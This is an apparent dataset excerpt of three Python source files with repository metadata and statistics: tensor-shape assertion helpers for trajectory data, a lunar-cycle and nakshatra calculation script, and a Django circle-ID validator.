x.shape[0] == num_ados if enforce_temporal: assert x.shape[1] == 5 else: assert x.shape[1] in [4, 5] return True def check_ado_history(x: torch.Tensor, ados: int = None) -> bool: assert not torch.any(torch.isnan(x)) assert len(x.shape) == 3 # (num_ados, t_horizon, 2/4/5) assert x.shape[2] in [2, 4, 5] if ados is not None: assert x.shape[0] == ados return True def check_ado_trajectories(x: torch.Tensor, t_horizon: int = None, ados: int = None, num_modes: int = None) -> bool: assert not torch.any(torch.isnan(x)) assert len(x.shape) == 4 # (num_ados, t_horizon, num_modes, 2) assert x.shape[3] in [2, 5] # (x, y) - positions, (x, y, vx, vy, t) - full state if ados is not None: assert x.shape[0] == ados if t_horizon is not None: assert x.shape[1] == t_horizon if num_modes is not None: assert x.shape[2] == num_modes return True def check_ado_samples(x: torch.Tensor, t_horizon: int = None, ados: int = None, num_samples: int = None) -> bool: assert not torch.any(torch.isnan(x)) assert len(x.shape) == 5 # (num_ados,num_samples,t_horizon, num_modes, 2/5) if num_samples is not None: assert x.shape[1] == num_samples assert all([check_ado_trajectories(x[:, i, :, :, :], t_horizon, ados, num_modes=1) for i in range(x.shape[1])]) return True def check_goal(x: torch.Tensor) -> bool: return check_2d_vector(x) def check_2d_vector(x: torch.Tensor) -> bool: assert not torch.any(torch.isnan(x)) assert x.size() == torch.Size([2]) return True

30.541284

116

0.621808

555

3,329

3.596396

0.118919

0.078156

0.108216

0.09018

0.723948

0.599699

0.589178

0.542084

0.529058

0.513527

0

0.022521

0.239712

3,329

108

117

30.824074

0.7661

0.082908

0

0.52381

0

0.47619

1

0.130952

false

0

0.011905

0.27381

0

null

0

null

0

1

0

1

8233e77c449f33aa14324409d82a1ef9635d9309

1,169

py

Python

sync.py

delanym/kala

b4e760d4def03198aacf182d279c5c97ddb04a01

[ "BSD-3-Clause" ]

null

sync.py

delanym/kala

b4e760d4def03198aacf182d279c5c97ddb04a01

[ "BSD-3-Clause" ]

null

sync.py

delanym/kala

b4e760d4def03198aacf182d279c5c97ddb04a01

[ "BSD-3-Clause" ]

null

# When does the synodic new moon come back to the same nakshatra. How many revolutions? # By how many degrees does the new moon travel each synodic month? A: 29,105216732 degrees # So in 12,368916655 months the new moon will have returned to the same sign, but it would # have overshot or fallen short of the same nakshatra. """ How many degrees in a synodic day? 12,970173891 How many degrees in a nakshatra? 13,333333333 It takes around 36 days for the synodic day to be out of sync with the nakshatra days by 1 nakshatra. By that time however, the synodic month will have already elapsed, and the 1st day of the next month will conincide with the nakshatra approximately one whole sign ahead, or, just over 2 nakshatras. """ SUN_YEAR = 365.2522 MOON_MONTH = 27.3217 SYNODIC_MONTH = 29.5306 Ratio = 1,080847824 SynodicMonth = Ratio * 360 # 389,105216732 a = 3 b = 4 start = 0 i = 1 print 'i={0}, a={1}, b={2}'.format(i, a, b) while True: a += 3 b += 4 i += 1 if a > 359: a -= 360 if b > 359: b -= 360 print 'i={0}, a={1}, b={2}'.format(i, a, b) if a == b == start: break print 'Finished'

22.056604

112

0.666382

205

1,169

3.785366

0.468293

0.036082

0.054124

0.048969

0.145619

0.051546

0

0.133939

0.246364

1,169

52

113

22.480769

0.746879

0.282293

0

0.090909

0

0.106977

0

null

0

null

0.136364

0

null

0

null

0

1

0

1

8234fc5721781919e7bf6e4d1bddfdab3b0544f6

351

py

Python

openbook_circles/validators.py

TamaraAbells/okuna-api

f87d8e80d2f182c01dbce68155ded0078ee707e4

[ "MIT" ]

164

2019-07-29T17:59:06.000Z

2022-03-19T21:36:01.000Z

openbook_circles/validators.py

TamaraAbells/okuna-api

f87d8e80d2f182c01dbce68155ded0078ee707e4

[ "MIT" ]

188

2019-03-16T09:53:25.000Z

2019-07-25T14:57:24.000Z

openbook_circles/validators.py

TamaraAbells/okuna-api

f87d8e80d2f182c01dbce68155ded0078ee707e4

[ "MIT" ]

80

2019-08-03T17:49:08.000Z

2022-02-28T16:56:33.000Z

from rest_framework.exceptions import ValidationError from django.utils.translation import ugettext_lazy as _ from openbook_circles.models import Circle def circle_id_exists(circle_id): count = Circle.objects.filter(id=circle_id).count() if count == 0: raise ValidationError( _('The circle does not exist.'), )

25.071429

55

0.720798

44

351

5.545455

0.659091

0.098361

0.106557

0

0.003571

0.202279

351

13

56

27

0.867857

0

0.074074

0

1

0.111111

false

0

0.333333

0

0.444444

0

null

0

null

0

1

0

1